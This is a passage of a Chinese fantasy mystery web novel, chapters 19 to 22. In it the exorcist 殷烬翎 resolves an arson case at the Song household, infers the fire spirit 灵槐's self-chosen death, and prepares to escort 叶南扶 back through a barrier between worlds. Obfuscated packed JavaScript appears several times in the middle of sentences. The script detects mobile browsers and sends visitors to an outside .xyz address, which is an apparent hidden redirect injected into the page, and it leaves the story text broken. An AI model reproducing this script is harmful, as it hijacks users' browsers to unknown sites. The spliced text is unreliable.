“呵,谁知道你是不是佯装逃离实则绕回来潜伏在外?” “你要这么说,那谁知道你是不是潜进灵槐家里趁火打劫的?” “宋伯乔,你个衣冠禽兽!道貌岸然的狗东西!事到如今还在狡辩!我这便送你下去见灵槐姐姐,看看你对着她还能不能辩解得出来!”刘陶突然满腔怒意上冲头面,暴跳起来便向宋伯乔扑去。 19. 第 19 章 宋伯乔见状吓得连连后退,所幸一直注意着两人举动的殷烬翎眼疾手快,迅速往刘陶后颈上一点,他顿时整个人脱力一般瘫软在地上昏睡过去。 宋伯乔惊魂未定地喘了两口气,神色复杂地看了倒在地上的刘陶一会儿,转首对殷烬翎行礼道:“多谢道长解围。今日道长约我前来便是为了与他对质证词吗?” 殷烬翎正琢磨着怎么安置刘陶,听闻此言稍有些尴尬,歉然道:“大公子误会了,我也没料到刘陶会突然前来,还正好与你撞在了一处,是我之过。” “无妨,好在道长出手及时,未尝出什么事。”宋伯乔摆摆手,又拱手作揖道,“只是伯乔大病初愈,经方才一事难免有几分心神不定,可否容伯乔先行告辞?” 殷烬翎点头:“嗯,今日是我考虑不周,让大公子受惊了。” “倒也不必道歉,若是没有叶公子,伯乔眼下还躺在病榻上,又哪会有今日这一出。只是……”宋伯乔转首瞥了眼地上的刘陶,而后直视向殷烬翎,正色道,“不知殷姑娘如何作想,但伯乔以为,刘公子不是凶手。” 殷烬翎闻言一惊,这惊的倒不是刘陶,他究竟是不是凶手她心中自有决断,只是这话从方才还在与他激烈争执的宋伯乔口中说出来,未免显得有几分奇怪。 “伯乔虽相信亲眼所看见的,但毕竟已经十五年了,人总是会把记忆朝着自己所认为的方向不断美化,所以伯乔更相信眼下所看到的。” “伯乔再如何窝囊怯懦,好歹也是个商人,察言观色也是看家本领了。他的神态、动作、情绪都告诉我,他不像在说谎。”宋伯乔再度拱手一揖,“不过想来殷姑娘心中早有决断,是伯乔多言了。告辞了。” 直到宋伯乔出去阖上门扉,殷烬翎仍旧立在原处,皱眉看向他离开的方向,沉默不语。 本以为听了这许多过往之事,自己已然看懂了宋伯乔其人,但此刻才意识到她忘了一点,那些已经是十五年前的事了,她自以为看透的,只是那个一直被囚禁在对灵槐的愧疚中的十六岁的宋伯乔,而非如今这三十一岁的宋家当家人。 她瞄了眼一直嗑着瓜子淡定旁观,浑身上下都写满了事不关己的叶南扶,叹了口气将刘陶扶起来坐到椅子上,随后点了点后颈某处,刘陶便缓缓转醒了过来。 刘陶一睁开眼,立刻四下瞧了一圈,发现宋伯乔已不在屋内后,他竟像是微微松了口气,忙站起来,恭敬地对殷烬翎深深一礼:“多谢殷姑娘及时打晕在下,不然在下还不知会做出何等不计后果之事来。” “不必多礼,宋大公子是应我之请而来,与刘公子谈论片刻便忘了此事,是我的过失。”殷烬翎忙道。 “不关姑娘的事。如今大公子病情已无大碍,他方才的模样康健得完全看不出是个大病初愈的人,既然如此,在下与他同在一个屋檐下,即便不是今日,他日迟早也会与大公子在某处碰上面,那倒还不如今日这般被姑娘拦下为好。” 这话说得很是真诚,殷烬翎不由对刘陶多了几分好感,见他又恢复了先前温文尔雅的读书人模样,不禁有些莞尔:“刘公子平日都是现下这般模样的?” 许是想起自己方才冲动时的言行来,刘陶脸上微微有些羞赧,颇有些尴尬地生硬道:“其实,差不多已有十来年未曾如方才那般了……” “十五年前,彼时的我尚不过十四岁,因幼时家贫投奔而来的江南城,父亲进了宋家做下人,孤儿寡母居住在外城,时常遭受周围的白眼和污蔑,我又年轻气盛惯,免不了逞凶斗狠……” - “喂,外来的穷小子,谁准你在这摆摊了,好狗不挡道懂不?麻溜的给我滚蛋!” “穷乡僻壤里出来的,果然都是些寡陋刁民,一天天的缩在山坳坳里也没见过世面,还能指望他们懂些个什么劲儿!” 少年刘陶抬起头,看向面前几个半大的少年,来这里已经一年多了,他大约也认得其中几个是附近哪家的,只不过这种认得却并不是什么好事,这意味着他们已然来恶意挑衅,甚至动手过好几次了。他看着面前摊上摆着的瓜果蔬菜和钱匣子里少得可怜的一点铜板,伸手抓住自己坐着的板凳,摁下了想站起来的念头,一声不吭。 可这些人挑了头却并不打算就此罢休,领头的一个抓起摊上一颗白菜一边拋着玩,一边道:“这都是些什么穷酸玩意儿,也好意思摆出来卖,给我们当破烂踢着玩都嫌硌脚。”说着往后一丢,阴恻恻地又道:“怎么是你出来摆摊啊,你娘该不会偷男人去了吧?” 刘陶再也忍不了了,摘下围裙按到一边,一跺脚站起来,扬声骂道:“这又是哪家的狗上这儿找屎来了?今天不把你们打出屎来,算你们拉的干净!” 一群素来嚣张跋扈惯了的少年人哪受得了这等乡野鄙语的辱骂,当下纷纷捋起袖子,领头的一把掀了摊子,拳头一伸就冲他当面而来。 从小摸爬滚打长大的刘陶却也不是吃素的,上手就撂倒了两个,与后头一哄而上的众少年缠斗了起来。 众少年都三三两两地瘫在地上哀嚎,他抹了把淌出来的鼻血,一瘸一拐地绕过去,弯下腰要去捡先前被扔掉的那颗白菜,忽然想起摊子都被掀了,其他的果蔬怕是早已在打斗中被踩踏得稀烂,要这个又有什么用呢?而且打了这些崽子,他们家那些老崽子肯定坐不住了,又得出来找母亲告状索赔,到时母亲又要责备他与人逞斗,街坊还会编排些闲言碎语,往后的日子就更不好过了。 想到此处,他青稚的脸上不由布满了灰败之色。 要不下次还是再努力忍一忍算了,忍了,便不会有这么多事了,说不准还能过得容易一些…… 面前的白菜在他犹豫的瞬间突然被一只雪白的手捡了起来,他抬起头来看向手的主人,少女正垂眸打量着着手里的白菜,察觉到他的目光便稍稍偏头,灵眸里像是盛了一碗月光。 “小小年纪,摊子没看好,逞凶斗狠倒是学了个十足。” 他警惕地看着少女,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原先在她心中刘陶杀害灵槐的可能性就极低,他不仅毫无动机,所陈述的经历中也寻不到与目前掌握的事实证据相矛盾之处,而他方才所叙述的,与灵槐初遇之时,灵槐做了如此微不足道的小事反倒显得真实,如若他当真是凶手,为了与他冲进燃烧的屋中救人的谎言相符合,必然会编出灵槐救了他的命,或是帮了他一个天大的忙。 殷烬翎道:“先前刘公子说,自愿前来自首是为两件事,其一是捉拿凶手归案,那么另一件呢?” 刘陶闻言再度躬身向殷烬翎重重一礼:“其二,便是为了家父而来。” “我从前不曾与父亲透露过我与灵槐姐姐的牵扯,第一场火后我曾向他询问过一些大公子十五年前的事,当年灵槐姐姐之死和大公子的突然惧狗他皆是知情的,尔后他许是发现了我藏匿狗的柴房,知道了我纵火一事,他就像大公子那样,以为灵槐姐姐是被我杀害的,便想方设法为我掩盖此事。” “家父纵火烧毁的那个柴房,是我先前偷藏狗之处。我虽未有留心看过,但柴房里堆放的布堆、沙石上应该都留下了许多爪印牙印,父亲是为了替我销毁证据,想将这引导为妖邪作乱才放了那把火。” “他是因在下之故才会关心则乱,犯下诸多糊涂事,还望殷姑娘看在他年事已高又爱子心切的份上,让在下来替他赎清罪孽!” 20. 第 20 章 殷烬翎听罢,沉默了半晌。 看来他还不知道厨房后面那处地点也被刘管事发现了。 刘管事还来不及处理掉门上的爪印,便被我揭发了纵火一事,得知自己即将因罪禁足之后,仍不忘去留下个碎玉片,以防将来此地被发现时,也可包揽下儿子罪行。 还有那第二场火的屋子极尽完美的修缮,刘管事为了这个儿子也算是用心良苦了,但不管如何,纵火便是纵火,总归是要为自己的罪行承担后果的。 况且事到如今,刘陶想一人担罪,即便我允了他,替他去宋老爷那儿说项完了,那刘管事还不同意呢。他为了给刘陶湮灭证据连火都放了,这下儿子说要连他的罪一同赎,想想就知道刘管事会如何竭力反对。 “这事恐怕难,宋老爷虽能卖我几分面子,但刘管事那儿还得你自己去劝,毕竟他可是比你还迫切地想揽罪,怕是没那么容易松口。”她斟酌着用词,说道。 刘陶垂下眼帘,神色有些黯然,他比谁都明白自己父亲的的固执,默了默,他道:“不管最后结果如何,在下都要先谢过殷姑娘大恩。”说着将长袍往前一撩,便要拜下去。 殷烬翎赶忙上前扶住他,不让他行叩拜大礼,一面说道:“刘公子言重了,真的不必行如此大礼,何况这事最后结果如何还很难说。” 她看了眼外头,又道:“天色也不早了,刘公子还是快些回去吧。” “好,叨扰殷姑娘多时,着实过意不去。在下告辞了。” 刘陶施了一礼,退出了屋子。 好容易应付完两人,殷烬翎转首瞅了眼靠着椅背昏昏欲睡的叶南扶,走过去狠狠推了他一把:“起来说正事儿。” 这下差点没将他从椅背上撂下来,即便如此他依旧睡眼迷蒙地扒着椅背,嘴里像是嚼着什么东西含糊不清道:“你的正事也好,我的正事也罢,不都走光了嘛,还说个什么劲儿……”边说边摸索着调整姿势坐了回去继续打盹。 等会儿,不是像是,他嘴里就是嚼着东西!见鬼,一开口我还闻到了桂花糕的香味!我说你怎么就吃到现在啊!人都知道打盹休息了嘴也不给放个假啥的? 不过这么一出倒是让殷烬翎看清楚了,刚才那一百个周公都足够被她撵跑了,这破玩意儿就是在装睡。 “实际上,你的正事我的正事,都不是首要的正事,因为在我的推断中,他们都不是凶手。” 叶南扶攀着椅背的手几不可见地微微一动,若不是殷烬翎一直暗暗关注着他的动静,几乎要以为自己看走眼了,与此同时,嘴里一直绵绵不断的嚼动也略微缓了一缓,使她确信他正在留神听着。 “灵槐当年为何断然拒绝大公子搬回荒山脚下,收到了狗为何脸色突变,为何见刘陶找到家里来就慌忙赶他走,为何在消失十五年后,前几日突然出现在宋家并突然纵火,还有最重要的一点,得向你借点东西……” 殷烬翎弯下腰,将手探进叶南扶垂下的袖子里摸索,却蓦地被反手捉住手腕,她抬眼便撞进叶南扶那深如千丈寒潭的清冷瞳仁里,相识以来她从未见过面前此人这般拒人千里的漠然眼神,一时怔忡竟连半个音都发不出来。 “你找灵槐?” 殷烬翎点头。 叶南扶默不作声地缓缓放了殷烬翎的手,待她将手从他袖子里收回来后,他抬起袖子将火婴放了出来。 火婴睁着一双清澈的灵目,安静地浮在空中,殷烬翎先是抬手捏了个诀,在火婴周围设下了结界,接着宽袖一挥,凭空燃起几簇火焰将火婴团团围住,只见火婴面对火焰全无惧怕之意,甚至嬉笑着在火中间穿梭来回。 “灵槐可是火灵,十五年前她为何会被大火困死在屋内,作为一个原身是从火里来的灵物,火焰根本阻挡不了她,也伤害不了她。证据就是,当时刘陶是在屋内昏过去的,最后却被救了出来,除了灵槐还有谁能救他出来?” “只有一种可能,灵槐自己不肯走出来,她是自愿被大火困在屋里的。” “那天的大火,烧毁了她的小屋,湮灭了她在人间留下的痕迹,她是在与自己的人间身份,做最后的告别。” 殷烬翎说这话时,目光紧锁着叶南扶,可后者始终低垂着眉眼,不曾看她。 “我猜,灵槐身为火灵,却对宋伯乔心生情愫,想以人的身份与他相守,可有人不同意。” “这个人,正是那座荒山古墓的墓主。能用万年松的松脂作灯烛,豢养了巨蟒守墓,还有那幅能吸取生命力的惊世壁画,这墓主绝非凡人。墓中的棺椁内没有尸首,这很可能只是个衣冠冢,如果墓主当真还活在这世上,那么自然便是灵槐的主人。” 说到此处,殷烬翎陡然抬起头,冲半空中的火婴道:“我没说错吧,灵魂。” 见火婴动作明显一顿,她缓缓笑了笑:“事到如今,你也不必再装那灵智未开的模样了。” 火婴的嬉闹彻底停了下来,目光惊疑不定地看着殷烬翎,却始终不曾开口。 殷烬翎接着道:“灵槐或许对他还有用处,所以断不能轻易放她离开,那条狗便是他送来的警告。读懂了这一警告后,灵槐选择了‘自焚’的方式,来与宋伯乔告别。” “既然灵魂这般听命于主人,那么前几日她突然现身宋家纵火,想必也是受其指使。” 叶南扶垂着眸子无精打采靠在椅子上,无动于衷地听着。 “叶南扶。” 殷烬翎搬来椅子坐到他面前,第一次字正腔圆地叫了他的名字,直直正视着他漆黑的瞳仁,像是要从眼底一直望进心底。 “我并不是一个爱好刨根究底的人,所以我下山当了除灵师,而不是仙盟的密探。” 殷烬翎平日瞎扯随和惯了,难得的端正肃然便显得颇有几分气势。 “老实说,你眼下的神色像极了我先前想逃避宋季言追问之时,躲躲闪闪的模样。它告诉我,你可能知道了一些事情,但是出于某种原因不太愿同我分享。如若旁人我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769997|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不会开这个口,可我既然应下了要送你回家,还是不大甘愿被蒙在鼓里,不过我只问这一次,无论回不回答都是你的自由,并且过后也不会再问。” 他垂落的眼帘稍稍往上抬了抬,连带着睫毛也轻轻一颤,他的视线也停聚到了近在咫尺的那对清灵澄澈的眼瞳上。 “你愿意说与我听嘛?” 他静默半晌,抿了抿嘴唇,道:“你刚来宋家之时,用过阴阳罗盘吧。” 这并非疑问,因为正是她用了罗盘才会知道此处没有妖邪作怪。 殷烬翎没想到会说起这个,微微一愣,道:“怎么了?” “你再测一次试试。” 她皱了皱眉,站起身从袖子里取出了罗盘,二指点在其上,灵光一闪,当中的磁针便开始转动,正在她疑惑着叶南扶的意图之时,磁针所指的结果却令她大为震惊。 “这……怎么会?!” 阴阳罗盘之上,磁针晃晃悠悠地偏离了正位,向一侧偏离了分毫。 “这是……鬼气?”殷烬翎不可置信道,忍不住都想抬起罗盘看看底下是不是出了什么故障,“我来的时候便测过阴阳相位,当时直指阳位正中,我才下了此处并无邪祟作乱的结论,这才短短几日,而且哪个鬼怪有这么大能耐,在我等眼皮底下还能犯事?” 叶南扶伸手指了指仍被关在半空中的结界里与火为伴的火婴,道:“她,是你来之后才出现的吧。” 殷烬翎恍然。 确实,火婴是她来的那日晚上才突然现身并纵火的,符合了所有妖邪该有的特征,只不过作乱的这位并不是邪物而是灵物,灵物是不会扰乱阴阳平衡的。由于书中记载,火婴本性便甚是顽皮,喜好四处煽风点火恶作剧不断,况且那日午后她才将将测过阴阳相位,所以根本没想过再测一次。 这么一想,莫非叶南扶正是察觉了这一点,才会将火婴一直带在袖里乾坤之中,想找出那个鬼气的来源? 而方才宋伯乔和刘陶的某些话,令他发现了点端倪,甚至是得知了少部分的真相? “因为火婴的缘故……”他迟疑了许久,还是低声道,“我才会来到这里。” 话说到这一步,殷烬翎已经全明白了,她有些恍惚地坐了下来。 叶南扶之所以不愿透露,因为这事显然是冲他来的。 染着鬼气的火婴身上带有某种法阵,在被她灵力触发后,直接破开了无往之壁令她掉落在无生界,而她又机缘巧合之下将叶南扶带来了此处。 而如果这看似偶然这一切,都是有心人策划好的,很难不令人从心底里生出几分寒意来。 “其实……你可以不必送我。” 闻言,殷烬翎再次转向他,用平正无波的眼眸深深凝视着他,静静等着他的下文。 他将头偏向一侧,躲开她的目光:“先前向你索要赔偿之类,都是随口说说的,你……听听便罢了,不必当真。待离开宋家,我们就……各走各的吧。” 21. 第 21 章 殷烬翎嗤笑一声,站了起来便往一旁走,就在叶南扶以为她要离开之时,她突然“咣当”一脚踹翻了方才坐的椅子,一只轻巧的靴子踩在了椅子上面,她弯下腰来面朝着他有些错愕的脸。 “不巧,我信以为真了。” 殷烬翎目光如炬,定定凝视着他:“你现在心里那点不肯告人的破事,我都可以不在意不知情,但是送你回去是我亲口应下的事,旁人休想让我毁诺,即便是你本人也不例外,况且错将你带出来本就是我的责任。” 叶南扶皱眉望着她:“你并不欠我什么。” “呵,灵槐想必也不觉得宋伯乔有亏欠她什么。”殷烬翎猛然伸手一把抓住叶南扶的前襟,“你听着,我殷烬翎活到二百二十二岁,日子向来过得快意,从来没有心事与芥蒂,现在唯一的愧疚便是害得你有家不能回,你如今是想剥夺我亲手弥补的机会嘛?” “你之前是怎么对宋伯乔说的你都忘了?你说愧疚这个东西啊,沾上了一辈子也别想甩掉,你今日说出与我分道扬镳,他日你若有个差池,是想让我往后的几百几千年里都日日懊悔不得安稳?” 她恶狠狠道:“我话就撂这儿了,你同意与否根本无关紧要,即便是死皮赖脸跟着你,我也要亲眼看着你平安无虞回到家,你当我是死缠烂打也并无不可!” 叶南扶眸光闪了两闪,须臾,他忽然直起身,抬手握在殷烬翎抓着他前襟的手上,缓缓将之扯下来,轻声道了句:“算了。姑娘家行死缠烂打之事,终究是不大好听。” 他笑起来,眉眼弯弯,内有万顷湖光,潋滟夺目。 “还是让我来吧。” 他执起她的手举到眼前,那手背离鼻尖就差那么半寸,她先前的气势早因他这般举动泄了个干净,此刻双颊像是缀上了两抹分裁好的夕阳,她提心吊胆地担心着下一刻他的双唇会触到手背上。 谁知他突然侧了侧头,离开了点距离,歪头一笑道:“我多年未出远门,不识此间路,不知你能否送送我?” 殷烬翎在心里狠狠打了方才不争气胡思乱想的自己几个巴掌,连忙将手抽了回来,揉着自己有些僵硬的手背,有些受不了这尴尬旖旎的气氛,搜肠刮肚地想寻个由头扯开话题。 “那什么……刘陶前来自首,是你去找他说了什么吧,也就是说,你当真没去睡觉?” 叶南扶顿时黑了脸,没好气道:“不,我就是去睡觉了。” “可你刚刚说也去办正事……” “啊,是,我是先回去饱饱地睡了一觉,睡到自然醒了又赖了很久的床,最后实在闲来无事出门逛逛,又非常凑巧的遇到了刘公子,才与他透露了他父亲想替他抵罪一事,别瞎想些什么我觉都不睡就赶去他的住处说明案情,好让他主动自首来避免你还要搜证据上门对质的麻烦,我有那么侠肝义胆热心肠?” “好好,你最冷血无情铁石心了。”殷烬翎随声附和两句。 但是啊老哥,你大概不知道,自刘管事东窗事发后,他便勒令刘陶也待在屋内不得擅自离开,刘陶虽然不知何故,但还是很听父亲话的,宋季言曾几次想找他出去玩都不成,想必若不是得知了父亲想偷偷包揽下所有罪行,他连这次出来自首都是不会的,更别说什么出门逛逛就恰巧碰见了。 不过,谢谢你。 - 也不知是不是宋伯乔一天天的康复,使得宋老爷心情颇佳,难得他倒是心胸宽阔,念在刘管事这十多年也算为宋家尽心尽力,加之殷烬翎也从旁帮衬了几句,最后宋老爷只是将刘管事一家逐出了宋家,对外只称其打算出去自立门户经商,为其保留下了面子,还将其这些年侍奉宋家的月银,分文不少地付给了刘管事,直可称得上是相当的宽厚了。 只是这其中内幕却是连同宋季言一块儿瞒了,一个刘管事已经令他至今无法释怀了,若让他得知素来甚是信赖亲近的刘陶也是纵火的犯人,他怕是不知道又会郁郁寡欢多久,兴许也有这方面的考虑,宋老爷才对刘家父子如此宽大处理。 诚然这已是保全双方颜面最好的方法了,然而即便如此,在刘管事一家收拾妥当要离开宋家的那一日,宋季言一场哭闹却也是免不了的。 他眼泪鼻涕混在一处胡乱一通抹,紧紧地抱着刘陶的胳膊死不撒手,一边用力吸吸鼻子,哽着喉咙嚷嚷“阿陶哥哥,能不能不走”。 在场知晓内情之人都清楚,任凭宋季言如何撒泼打滚,这事都已经毫无转圜之地了,现下也只能让他好好发泄一番了。 故而在劝慰开导这方面一向都不擅长的殷烬翎,早早便离得远远的,免得那哭得六亲不认的宋季言殃及池鱼,见着她就是一顿劈头盖脸的追问。 不过她略微留心瞧了瞧,发现今日宋伯乔也未到场。 他与刘陶虽然心里都已隐约明白对方并非凶手,然而灵槐之死一直是横亘在他二人心中,那条过不去磨不平的坎,十五年的风雨也没能填补上这道鸿沟,他们打心里拒绝与那时候的旧人旧事碰面,不管对方是不是自己寻找多年的罪魁祸首。 所以宋伯乔十五年来缄口不言,而当年敢于冲进火中救人的刘陶,在确定了宋伯乔的身份后,宁可在柴房后面,一遍一遍地刻划那个不知道能不能传达到宋伯乔耳中的声音,也不愿意正面去找他对质一次,在经年累月壮大的愧疚面前,再骁勇善战的人也只得败下阵来,退避三舍。 殷烬翎退到远处,正蹑手蹑脚打算离开,背后忽然撞上了一个人,不过就这熟悉的身形和悠闲自在的站姿,她现下不用看也知道是谁了。 “刚好,我正打算找你。”殷烬翎相当熟稔地抓起叶南扶的袖子就往外走,“我们差不多也该走了。” “现在?” “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782060|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不打声招呼就走吗?” “我已经私下拜别过宋老爷宋夫人了,也不算失礼,趁大家心思还在送别刘管事上,赶紧拾掇拾掇东西走吧。” “哦——”叶南扶故作恍然状,“你该不会是也犯了什么事,要收拾细软跑路了吧?” 殷烬翎苦了脸:“你以为我想啊,我巴不得再多待几天享受这富贵日子,但你看宋季言那样子,现在不走难道也让宋家给咱们送个行?我可不想也被他这样拽着胳膊痛哭流涕。” “你对自己的评价是不是有些不客观?刘陶跟宋季言少说也相处了有八九年,你这认识宋季言才几天啊,就值得他为此离愁别绪泪纷纷的。” “就你有嘴一天天叭叭叭的!” 殷烬翎顿时像个被踩了尾巴的猫儿似的蹦了起来,一爪子就往他头上招呼。 叶南扶猝不及防被她拍歪了半个簪子,一侧鬓边的碎发落下了几缕,他顷刻便来了脾气,嘴下愈发不饶人了:“你方才说,已经拜会过宋老爷了是吧?” “是啊,怎么了?”殷烬翎感受到了危机的来临,警觉得像只被蛇盯上的麻雀儿。 叶南扶凑近了几步:“这么说,酬金都已经在你手上了?” 殷烬翎顿时像只被命运扼住了喉咙的小鸡仔,张着嘴却一个字也蹦不出来,色厉内荏地盯了叶南扶良久,也没见他豺狼般的目光有所收敛,只得道:“你怎么还在打我酬金的主意,你不是说,赔偿只是随口说说的,让我不必当真嘛?” “可你不是说自己信以为真了吗?还说应下的事不会轻易毁诺。” “不是,我都承诺要把你安全送回家了!而且严格来说这事是冲着你来的,我也是被利用的受害者啊,你这跟那些被贵人马车撞倒了连屁都不敢放,转头就来讹诈好心上前搀扶的穷苦小少女的,欺软怕硬的恶臭老登有什么区别啊?” “哦,可我都说了不用你送了,不是你自己硬缠着非要送我的吗?赶都赶不走呢。”叶南扶耸肩无奈道。 “哇,我从未见过如此厚颜无耻之人!” “过奖过奖。”叶南扶谦虚地摆摆手,末了将手往殷烬翎面前一摊,“这一路上开销可不少呢,快爆点金币。” “呵呵呵……”殷烬翎面目狰狞地冷笑,“我告诉你,不管你是哪路神仙,我活到现在就还没见过能从我身上拔下一根毛来的人。” “这么巧,我活到现在也没遇见过我敲不了的竹杠。”叶南扶信心满满地一歪头。 “得了,别贫了,若是没什么物什要收拾的话就要上路了。”殷烬翎推了一把叶南扶,强行结束了这个话题。 叶南扶难得不再多纠缠方才的事,伸手慢慢将方才被拍歪的簪子扶正,道:“上路所以呢,你知道往何处走才能去无生界吗?” 殷烬翎提起的脚步一呆,悄无声息落了回去,道:“您说。” 22. 第 22 章 叶南扶“哼”了一声,将散下来的碎发绾上去,继续对付着手里的簪子,一边道:“无往二界因天地规则不同,从前出过不少乱子,于是就有了这道无往之壁,它彻底隔开了无往两界,令彼此变成了传说画本中的世界。” “你不觉得这种有关壁垒的设定很有既视感嘛,我绝对在不下十个画本中见过,都已经是快用烂的老梗了吧?” “小麻雀还真没叫错,你就不能安安静静地让我把设定交代完吗?这些世界观设定憋在我心里已经整整一卷了你当我不难受的吗?前面一直在对付案子的事情,突然讲怎么回去不太合适,都第二卷了终于给我逮到个机会说这些事情了,你道我容易么你还来给我打岔,再这么下去我们一万年也别想完结了。” 殷烬翎顿时呆若木鸡,内心只剩下“卧槽”两个字在疯狂回旋碰撞碾压坍塌。 老哥这是要把我的吐槽役给包揽了嘛?而且瞧这架势竟似乎更胜一筹!该死,他明明每日都跟我在一处,究竟是何时将吐槽偷师了去?可恶,番位之争果然残酷! “喂,你把心理活动也给我关了,很占篇幅的,等下又通篇吐槽废话没有空余讲正经设定了。” 哇,有你管的这么宽的嘛?人家都不出声了,现在不过心里想想而已都要伸进手来唔唔唔……救唔唔…… 世界清静了。 叶南扶掸掸袖子,继续道:“这道看不见的壁垒岂止是坚不可破,即使是如今神界的天帝和魔界的魔君,在这庞然大物面前也丝毫起不了撼动之心。然而这堵隐形的城墙上却留下了几个小通道。” 由于殷烬翎被屏蔽了心理活动,故此处省略一大段情真意切惊艳绝伦感人肺腑催人尿下的吐槽。 “听好了,我接下来要说的事,是连天帝魔君都不曾知晓的秘闻。” “这些通路是当初创世神建造无往之壁之时留下的,通路上刻有法阵,称为无往法阵,启动法阵后,此处通道可短暂开放,供人进入,经此去往另一边的世界。因为留下的通道是固定的,所以无往法阵连通的地点也是固定的,所有法阵均有家族世代守护,此事也秘而不宣,唯有负责看护法阵之人知晓。” “这样说来……”殷烬翎道,“你又是如何得知此等秘辛的呢?” 叶南扶粲然一笑,虽然在披散得杂乱无章的发髻映衬下不免有些怪异,却遮挡不住其眼里的神采灼灼。 “自然是因为,我便是无往法阵的守护者之一。” “我家中,也就是魔界血月谷,就存在着一个无往法阵通往此处。”他用足尖点点脚下,“也就是江南宋家这一带。但我无法从这里直接回家去,因为宋家这里并没有法阵。” 殷烬翎摸摸下巴,提议道:“那能不能在这里画一个法阵?” “你可真是个小机灵鬼。”叶南扶不由乐了,“确实可以,不然你先前是怎么跑到我家里来的?” 叶南扶将火婴从袖子里捞了出来,被打扰了好梦的火婴蹬着小腿,不安分地扭了两下。 “刻画无往法阵需要极其纯粹的天地灵宝为载体,而这小家伙就可以作为载体。”他指了指火婴的眉心处,“这里被人刻下了微缩的无往法阵,只需向其注入灵力便可启动,不过先前用过一次,现在已然失效了。” 殷烬翎想起来,自己那时为了给火婴上封印,结印按上了其眉心处,灵力就这样被注入进了无往法阵里,这才启动了法阵,让她和火婴都落到了无生界。 眼见着殷烬翎张口欲言,叶南扶不怀好意地直接截断了她:“但我没有采用这种方法回去,就说明它行不通。创世神既然不在此处设立无往法阵,就是不希望有人从这里过去,所以这种方法其实是‘偷渡’,一旦注入的那点灵力消耗完,立刻会被遣送回来,你就是这么回来的。” 殷烬翎话未出口就被抢答了,只得讪讪地闭了嘴,她想了想,又道:“那你先前在古墓中所言,知晓如何回去是指……” “当然是说,我知道往生界的无往法阵在何处。” 殷烬翎微微吃惊:“在何处?” “暂时,先不说。”叶南扶顿了顿,忽然卖起了关子,“反正我看了地图,大约知道怎么走,你到时跟着我便是了。” 殷烬翎顿时百爪挠心,像看了个即将揭示真相却突然让你且听下回分解的探案画本一样浑身难受,恨不得上去掐着叶南扶的喉咙让他把知道的所有都一股脑儿吐出来。 “差不多就这样。”叶南扶将火婴塞回了袖里乾坤,“我本就仓促而来,无甚要收拾的,若你都打理完了便上路吧。” “等等。”殷烬翎举起手,“去无生界之前,我想回师门拜个别,同师长们知会一声去处,可顺路?” “清霄山是吧……”叶南扶沉吟了片刻,“虽不是很顺路,但你若想回,稍拐过去一下便是。” “我还有最后一个问题。”殷烬翎仰首看向他,“火婴……灵槐你打算一直这样揣在袖中嘛?” 叶南扶一怔,顿了顿道:“其实……我并不是很想。” 不是很想,但还是要这么做? 殷烬翎迷惑地皱了皱眉,随即露出一脸鄙夷道:“哇,压抑多年的死宅终于忍不住要拐带幼女了嘛?天哪,她看上去还是个小婴儿啊,这究竟是人性的泯灭还是道德的沦丧?” “咔嚓”一声,叶南扶手里正把玩着的簪子被他折成两段。 - 离开宋家后,贪恋江南富庶的殷烬翎一路上没少东瞧瞧西摸摸,当初来的时候,她急着赶去宋家没能仔细赏玩这里的集市和商铺,如今事情落幕,酬金也到手,正是该休整放松一下之时。 繁华的江南城的确容易迷人眼乱人心,各式各样的店面鳞次栉比,形形色色的点缀装饰得流光溢彩,着实撩人心魂,殷烬翎就在这纸醉金迷之中逐渐忘记赶路,彻底投身入商铺圈子里沉醉忘情地大肆购物起来,手上捧着的东西渐渐积累成山。 “江南皮革场倒闭了,黄鹤老板带着他的小姨子跑了,原价都是一百多,两百多的衣裳,通通二十文!” 早已买红眼的殷烬翎二话不说抬脚就往里冲,无奈店内生意红火,人潮涌动,她被人群挤得打了几个转,半步都没能前进。 “老哥,帮我拿一下这些。”殷烬翎不由分说将手中东西往叶南扶那里倾倒。 叶南扶毫不留情地退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792486|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开半步,嗤笑道:“你都在人间行走那么多年了,怎么还是这般喜欢逛街买一堆用不上的东西。” 殷烬翎眨了眨眼,莫名觉得这话有些奇怪,可还没等她细想,却听叶南扶忽然道:“那是……?” 